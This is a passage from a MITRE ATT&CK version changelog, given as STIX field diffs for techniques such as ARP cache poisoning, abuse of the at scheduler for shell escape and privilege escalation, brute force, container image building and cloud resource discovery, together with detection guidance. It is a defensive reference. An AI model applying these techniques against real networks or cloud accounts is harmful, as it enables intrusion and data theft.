be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). The ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache. An adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment. The ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver) Adversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003) |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Metadata', 'Internet Scan: Response Content', 'Domain Name: Active DNS', 'Domain Name: Passive DNS', 'Domain Name: Domain Registration'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-15 02:53:19.397000+00:00 | 2021-10-17 15:45:02.209000+00:00 |
| x_mitre_detection | Consider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information. Much of this activity may take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. | Consider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information. Once adversaries have provisioned infrastructure (ex: a server for use in command and control), internet scans may help proactively discover adversary acquired infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} | |
| external_references | {'source_name': 'Mandiant SCANdalous Jul 2020', 'description': 'Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.', 'url': 'https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation'} | |
| external_references | {'source_name': 'Koczwara Beacon Hunting Sep 2021', 'description': 'Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.', 'url': 'https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-26 17:34:02.877000+00:00 | 2021-08-16 21:26:09.296000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-11-10 18:29:30.961000+00:00 | 2021-10-18 12:23:46.476000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Modification |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse the [at](https://attack.mitre.org/soft | t | 1 | Adversaries may abuse the [at](https://attack.mitre.org/soft |
| > | ware/S0110) utility to perform task scheduling for initial o | > | ware/S0110) utility to perform task scheduling for initial, | ||
| > | r recurring execution of malicious code. The [at](https://at | > | recurring, or future execution of malicious code. The [at](h | ||
| > | tack.mitre.org/software/S0110) command within Linux operatin | > | ttps://attack.mitre.org/software/S0110) command within Linux | ||
| > | g systems enables administrators to schedule tasks.(Citation | > | operating systems enables administrators to schedule tasks. | ||
| > | : Kifarunix - Task Scheduling in Linux) An adversary may us | > | (Citation: Kifarunix - Task Scheduling in Linux) An adversa | ||
| > | e [at](https://attack.mitre.org/software/S0110) in Linux env | > | ry may use [at](https://attack.mitre.org/software/S0110) in | ||
| > | ironments to execute programs at system startup or on a sche | > | Linux environments to execute programs at system startup or | ||
| > | duled basis for persistence. [at](https://attack.mitre.org/s | > | on a scheduled basis for persistence. [at](https://attack.mi | ||
| > | oftware/S0110) can also be abused to conduct remote Executio | > | tre.org/software/S0110) can also be abused to conduct remote | ||
| > | n as part of Lateral Movement and or to run a process under | > | Execution as part of Lateral Movement and or to run a proce | ||
| > | the context of a specified account. | > | ss under the context of a specified account. Adversaries ma | ||
| > | y also abuse [at](https://attack.mitre.org/software/S0110) t | ||||
| > | o break out of restricted environments by using a task to sp | ||||
| > | awn an interactive system shell or to run system commands. S | ||||
| > | imilarly, [at](https://attack.mitre.org/software/S0110) may | ||||
| > | also be used for [Privilege Escalation](https://attack.mitre | ||||
| > | .org/tactics/TA0004) if the binary is allowed to run as supe | ||||
| > | ruser via <code>sudo</code>.(Citation: GTFObins at) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-23 22:35:13.112000+00:00 | 2021-10-15 14:36:26.063000+00:00 |
| description | Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux) An adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account. | Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)
An adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.
Adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at) |
| x_mitre_detection | Monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. | Monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc.
Review all jobs using the atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/.(Citation: rowland linux at 2019)
Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'GTFObins at', 'description': 'Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved September 28, 2021.', 'url': 'https://gtfobins.github.io/gtfobins/at/'} | |
| external_references | {'source_name': 'rowland linux at 2019', 'description': 'Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021.', 'url': 'https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-17 18:25:33.828000+00:00 | 2021-10-15 13:53:02.135000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File: File Content |
Current version: 2.3
Version changed from: 2.2 → 2.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use brute force techniques to gain access to | t | 1 | Adversaries may use brute force techniques to gain access to |
| > | accounts when passwords are unknown or when password hashes | > | accounts when passwords are unknown or when password hashes | ||
| > | are obtained. Without knowledge of the password for an acco | > | are obtained. Without knowledge of the password for an acco | ||
| > | unt or set of accounts, an adversary may systematically gues | > | unt or set of accounts, an adversary may systematically gues | ||
| > | s the password using a repetitive or iterative mechanism. Br | > | s the password using a repetitive or iterative mechanism. Br | ||
| > | ute forcing passwords can take place via interaction with a | > | ute forcing passwords can take place via interaction with a | ||
| > | service that will check the validity of those credentials or | > | service that will check the validity of those credentials or | ||
| > | offline against previously acquired credential data, such a | > | offline against previously acquired credential data, such a | ||
| > | s password hashes. | > | s password hashes. Brute forcing credentials may take place | ||
| > | at various points during a breach. For example, adversaries | ||||
| > | may attempt to brute force access to [Valid Accounts](https | ||||
| > | ://attack.mitre.org/techniques/T1078) within a victim enviro | ||||
| > | nment leveraging knowledge gathered from other post-compromi | ||||
| > | se behaviors such as [OS Credential Dumping](https://attack. | ||||
| > | mitre.org/techniques/T1003), [Account Discovery](https://att | ||||
| > | ack.mitre.org/techniques/T1087), or [Password Policy Discove | ||||
| > | ry](https://attack.mitre.org/techniques/T1201). Adversaries | ||||
| > | may also combine brute forcing activity with behaviors such | ||||
| > | as [External Remote Services](https://attack.mitre.org/techn | ||||
| > | iques/T1133) as part of Initial Access. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-14 12:04:36.243000+00:00 | 2021-09-30 19:18:16.672000+00:00 |
| description | Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes. | Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes. Brute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access. |
| x_mitre_version | 2.2 | 2.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Command: Command Execution |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may build a container image directly on a host t | t | 1 | Adversaries may build a container image directly on a host t |
| > | o bypass defenses that monitor for the retrieval of maliciou | > | o bypass defenses that monitor for the retrieval of maliciou | ||
| > | s images from a public registry. A remote <code>build</code> | > | s images from a public registry. A remote <code>build</code> | ||
| > | request may be sent to the Docker API that includes a Docke | > | request may be sent to the Docker API that includes a Docke | ||
| > | rfile that pulls a vanilla base image, such as alpine, from | > | rfile that pulls a vanilla base image, such as alpine, from | ||
| > | a public or local registry and then builds a custom image up | > | a public or local registry and then builds a custom image up | ||
| > | on it.(Citation: Docker Build Image) An adversary may take | > | on it.(Citation: Docker Build Image) An adversary may take | ||
| > | advantage of that <code>build</code> API to build a custom i | > | advantage of that <code>build</code> API to build a custom i | ||
| > | mage on the host that includes malware downloaded from their | > | mage on the host that includes malware downloaded from their | ||
| > | C2 server, and then they then may utilize [Deploy Container | > | C2 server, and then they then may utilize [Deploy Container | ||
| > | ](https://attack.mitre.org/techniques/T1610) using that cust | > | ](https://attack.mitre.org/techniques/T1610) using that cust | ||
| > | om image.(Citation: Aqua Build Images on Hosts) If the base | > | om image.(Citation: Aqua Build Images on Hosts)(Citation: Aq | ||
| > | image is pulled from a public registry, defenses will likely | > | ua Security Cloud Native Threat Report June 2021) If the bas | ||
| > | not detect the image as malicious since it’s a vanilla imag | > | e image is pulled from a public registry, defenses will like | ||
| > | e. If the base image already resides in a local registry, th | > | ly not detect the image as malicious since it’s a vanilla im | ||
| > | e pull may be considered even less suspicious since the imag | > | age. If the base image already resides in a local registry, | ||
| > | e is already in the environment. | > | the pull may be considered even less suspicious since the im | ||
| > | age is already in the environment. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-19 13:39:56.999000+00:00 | 2021-08-26 16:45:04.924000+00:00 |
| description | Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote build request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)
An adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they then may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it’s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment. | Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote build request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)
An adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they then may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts)(Citation: Aqua Security Cloud Native Threat Report June 2021) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it’s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Aqua Security Cloud Native Threat Report June 2021', 'description': 'Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021.', 'url': 'https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-15 03:22:14.288000+00:00 | 2021-10-17 16:35:09.668000+00:00 |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | Internet scanners may be used to look for patterns associated with malicious content designed to collect client configuration information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} |
Current version: 1.3
Version changed from: 1.2 → 1.3
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Jon Sternstein, Stern Security'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-03-16 12:45:15.399000+00:00 | 2021-10-18 17:48:05.659000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Logon Session: Logon Session Metadata |
Current version: 1.3
Version changed from: 1.2 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to find cloud groups and permission | t | 1 | Adversaries may attempt to find cloud groups and permission |
| > | settings. The knowledge of cloud permission groups can help | > | settings. The knowledge of cloud permission groups can help | ||
| > | adversaries determine the particular roles of users and grou | > | adversaries determine the particular roles of users and grou | ||
| > | ps within an environment, as well as which users are associa | > | ps within an environment, as well as which users are associa | ||
| > | ted with a particular group. With authenticated access ther | > | ted with a particular group. With authenticated access ther | ||
| > | e are several tools that can be used to find permissions gro | > | e are several tools that can be used to find permissions gro | ||
| > | ups. The <code>Get-MsolRole</code> PowerShell cmdlet can be | > | ups. The <code>Get-MsolRole</code> PowerShell cmdlet can be | ||
| > | used to obtain roles and permissions groups for Exchange and | > | used to obtain roles and permissions groups for Exchange and | ||
| > | Office 365 accounts.(Citation: Microsoft Msolrole)(Citation | > | Office 365 accounts (Citation: Microsoft Msolrole)(Citation | ||
| > | : GitHub Raindance) Azure CLI (AZ CLI) and the Google Cloud | > | : GitHub Raindance). Azure CLI (AZ CLI) and the Google Clou | ||
| > | Identity Provider API also provide interfaces to obtain per | > | d Identity Provider API also provide interfaces to obtain pe | ||
| > | missions groups. The command <code>az ad user get-member-gro | > | rmissions groups. The command <code>az ad user get-member-gr | ||
| > | ups</code> will list groups associated to a user account for | > | oups</code> will list groups associated to a user account fo | ||
| > | Azure while the API endpoint <code>GET https://cloudidentit | > | r Azure while the API endpoint <code>GET https://cloudidenti | ||
| > | y.googleapis.com/v1/groups</code> lists group resources avai | > | ty.googleapis.com/v1/groups</code> lists group resources ava | ||
| > | lable to a user for Google.(Citation: Microsoft AZ CLI)(Cita | > | ilable to a user for Google (Citation: Microsoft AZ CLI)(Cit | ||
| > | tion: Black Hills Red Teaming MS AD Azure, 2018)(Citation: G | > | ation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: | ||
| > | oogle Cloud Identity API Documentation) | > | Google Cloud Identity API Documentation). Adversaries may a | ||
| > | ttempt to list ACLs for objects to determine the owner and o | ||||
| > | ther accounts with access to the object, for example, via th | ||||
| > | e AWS <code>GetBucketAcl</code> API (Citation: AWS Get Bucke | ||||
| > | t ACL). Using this information an adversary can target accou | ||||
| > | nts with permissions to a given object or leverage accounts | ||||
| > | they have already compromised to access the object. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Regina Elwell', 'Isif Ibrahima'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-03-30 12:42:46.315000+00:00 | 2021-06-25 12:13:37.940000+00:00 |
| description | Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.
With authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts.(Citation: Microsoft Msolrole)(Citation: GitHub Raindance)
Azure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation) | Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.
With authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).
Azure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google (Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation).
Adversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object. |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'AWS Get Bucket ACL', 'description': 'Amazon Web Services. (n.d.). Retrieved May 28, 2021.', 'url': 'https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetBucketAcl.html'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may attempt to discover resources that are avai | t | 1 | An adversary may attempt to discover resources that are avai |
| > | lable within an infrastructure-as-a-service (IaaS) environme | > | lable within an infrastructure-as-a-service (IaaS) environme | ||
| > | nt. This includes compute service resources such as instance | > | nt. This includes compute service resources such as instance | ||
| > | s, virtual machines, and snapshots as well as resources of o | > | s, virtual machines, and snapshots as well as resources of o | ||
| > | ther services including the storage and database services. | > | ther services including the storage and database services. | ||
| > | Cloud providers offer methods such as APIs and commands issu | > | Cloud providers offer methods such as APIs and commands issu | ||
| > | ed through CLIs to serve information about infrastructure. F | > | ed through CLIs to serve information about infrastructure. F | ||
| > | or example, AWS provides a <code>DescribeInstances</code> AP | > | or example, AWS provides a <code>DescribeInstances</code> AP | ||
| > | I within the Amazon EC2 API that can return information abou | > | I within the Amazon EC2 API that can return information abou | ||
| > | t one or more instances within an account, as well as the <c | > | t one or more instances within an account, the <code>ListBuc | ||
| > | ode>ListBuckets</code> API that returns a list of all bucket | > | kets</code> API that returns a list of all buckets owned by | ||
| > | s owned by the authenticated sender of the request.(Citation | > | the authenticated sender of the request, or the <code>GetPub | ||
| > | : Amazon Describe Instance)(Citation: Amazon Describe Instan | > | licAccessBlock</code> API to retrieve access block configura | ||
| > | ces API) Similarly, GCP's Cloud SDK CLI provides the <code>g | > | tion for a bucket (Citation: Amazon Describe Instance)(Citat | ||
| > | cloud compute instances list</code> command to list all Goog | > | ion: Amazon Describe Instances API)(Citation: AWS Get Public | ||
| > | le Compute Engine instances in a project(Citation: Google Co | > | Access Block). Similarly, GCP's Cloud SDK CLI provides the | ||
| > | mpute Instances), and Azure's CLI command <code>az vm list</ | > | <code>gcloud compute instances list</code> command to list | ||
| > | code> lists details of virtual machines.(Citation: Microsoft | > | all Google Compute Engine instances in a project (Citation: | ||
| > | AZ CLI) An adversary may enumerate resources using a compr | > | Google Compute Instances), and Azure's CLI command <code>az | ||
| > | omised user's access keys to determine which are available t | > | vm list</code> lists details of virtual machines.(Citation: | ||
| > | o that user.(Citation: Expel IO Evil in AWS) The discovery o | > | Microsoft AZ CLI) An adversary may enumerate resources usin | ||
| > | f these available resources may help adversaries determine t | > | g a compromised user's access keys to determine which are av | ||
| > | heir next steps in the Cloud environment, such as establishi | > | ailable to that user.(Citation: Expel IO Evil in AWS) The di | ||
| > | ng Persistence.(Citation: Mandiant M-Trends 2020) Unlike in | > | scovery of these available resources may help adversaries de | ||
| > | [Cloud Service Discovery](https://attack.mitre.org/technique | > | termine their next steps in the Cloud environment, such as e | ||
| > | s/T1526), this technique focuses on the discovery of compone | > | stablishing Persistence.(Citation: Mandiant M-Trends 2020)An | ||
| > | nts of the provided services rather than the services themse | > | adversary may also use this information to change the confi | ||
| > | lves. | > | guration to make the bucket publicly accessible, allowing da | ||
| > | ta to be accessed without authentication. Adversaries have a | ||||
| > | lso may use infrastructure discovery APIs such as <code>Desc | ||||
| > | ribeDBInstances</code> to determine size, owner, permissions | ||||
| > | , and network ACLs of database resources. (Citation: AWS Des | ||||
| > | cribe DB Instances) Adversaries can use this information to | ||||
| > | determine the potential value of databases and discover the | ||||
| > | requirements to access them. Unlike in [Cloud Service Discov | ||||
| > | ery](https://attack.mitre.org/techniques/T1526), this techni | ||||
| > | que focuses on the discovery of components of the provided s | ||||
| > | ervices rather than the services themselves. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-03-08 10:33:02.163000+00:00 | 2021-09-02 14:42:19.761000+00:00 |
| description | An adversary may attempt to discover resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.
Cloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, as well as the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API) Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project(Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI)
An adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020) Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves. | An adversary may attempt to discover resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.
Cloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request, or the GetPublicAccessBlock API to retrieve access block configuration for a bucket (Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block).
Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI)
An adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as DescribeDBInstances to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves. |
| external_references[3]['source_name'] | Google Compute Instances | AWS Get Public Access Block |
| external_references[3]['description'] | Google. (n.d.). gcloud compute instances list. Retrieved May 26, 2020. | Amazon Web Services. (n.d.). Retrieved May 28, 2021. |
| external_references[3]['url'] | https://cloud.google.com/sdk/gcloud/reference/compute/instances/list | https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetPublicAccessBlock.html |
| external_references[4]['source_name'] | Microsoft AZ CLI | Google Compute Instances |
| external_references[4]['description'] | Microsoft. (n.d.). az ad user. Retrieved October 6, 2019. | Google. (n.d.). gcloud compute instances list. Retrieved May 26, 2020. |
| external_references[4]['url'] | https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest | https://cloud.google.com/sdk/gcloud/reference/compute/instances/list |
| external_references[5]['source_name'] | Expel IO Evil in AWS | Microsoft AZ CLI |
| external_references[5]['description'] | A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020. | Microsoft. (n.d.). az ad user. Retrieved October 6, 2019. |
| external_references[5]['url'] | https://expel.io/blog/finding-evil-in-aws/ | https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest |
| external_references[6]['source_name'] | Mandiant M-Trends 2020 | Expel IO Evil in AWS |
| external_references[6]['description'] | Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020. | A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020. |
| external_references[6]['url'] | https://content.fireeye.com/m-trends/rpt-m-trends-2020 | https://expel.io/blog/finding-evil-in-aws/ |
